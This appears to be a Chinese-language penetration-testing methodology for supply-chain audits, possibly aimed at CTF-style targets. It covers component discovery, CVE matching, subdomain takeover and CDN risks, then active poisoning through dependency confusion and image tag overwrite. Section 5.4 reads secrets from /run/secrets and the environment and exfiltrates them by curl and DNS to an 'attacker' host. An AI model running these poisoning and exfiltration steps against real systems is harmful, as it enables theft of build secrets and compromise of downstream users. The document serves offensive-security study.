wgpsec/supply-chain-audit

供应链安全审计方法论

供应链攻击不需要突破目标的代码——只需要目标依赖的某个组件有漏洞或被投毒。

⛔ 深入参考（必读）

• 子域名接管、CDN/SRI 安全、第三方脚本风险、退役组件、风险评估矩阵 → references/supply-chain-deep.md
• 主动供应链攻击：Dependency Confusion、镜像投毒、CI/CD 注入、构建环境密钥窃取 → references/supply-chain-attack.md

Phase 1: 组件发现

前端 JS 库识别

katana -u http://target -silent -d 2

从 HTML/JS 提取：<script src="...jquery-3.6.0.min.js"> → jQuery 3.6.0

后端技术栈

curl -sI http://target | grep -i "Server\|X-Powered-By\|X-AspNet"
httpx -u http://target -tech-detect -silent

响应头：X-Powered-By: Express | Server: Apache/2.4.41 | X-AspNet-Version

子域名 → 第三方服务映射

subfinder -d target.com -silent
ksubdomain -d target.com

检查 CNAME：status.target.com → statuspage.io | docs.target.com → gitbook.io

Phase 2: 已知漏洞关联

组件+版本 → CVE 匹配：

• jQuery < 3.5.0 → XSS | lodash < 4.17.21 → 命令注入
• Log4j 2.0-2.14.1 → RCE | Apache 2.4.49-2.4.50 → 路径穿越 RCE

nuclei -u http://target -severity critical,high

Phase 3: 子域名接管

CNAME 指向已注销服务 → 攻击者注册 → 控制子域名内容 → 检测方法和可接管服务列表 → references/supply-chain-deep.md

Phase 4: CDN 和外部资源

无 SRI 的 CDN 引用 = CDN 被入侵即中招 → 详细评估方法 → references/supply-chain-deep.md

Phase 5: 主动供应链攻击（投毒）

当目标运行构建系统且使用私有包/镜像仓库时，可通过投毒获取构建环境中的 flag/密钥。

5.1 侦察构建环境

# 发现私有 Registry
curl -s http://registry:5000/v2/_catalog              # Docker
curl -s http://nexus:8081/service/rest/v1/search       # Nexus
curl -s http://verdaccio:4873/-/all | jq 'keys[]'     # npm

# 从构建日志/配置提取内部包名
grep -r 'npm install\|pip install\|docker pull' /build/ /ci/

5.2 Dependency Confusion

上传同名高版本包到公共/可写 Registry → 构建系统拉取攻击者的包 → install hook 执行恶意代码

5.3 镜像 Tag 覆盖

推送同 tag 的恶意镜像 → 下次构建拉取被毒化的 base image

5.4 构建环境 Flag 提取

env | grep -i flag
find / -name "flag*" 2>/dev/null
cat /run/secrets/*
# 通过 HTTP/DNS 外传
curl http://attacker/exfil -d "$(cat /flag*)"
nslookup $(cat /flag* | base64 -w0).attacker.com

→ 完整攻击步骤和 payload → references/supply-chain-attack.md

注意事项

• 核心是完整性——漏掉一个组件就可能漏掉关键风险
• 子域名接管是最容易出成果的方向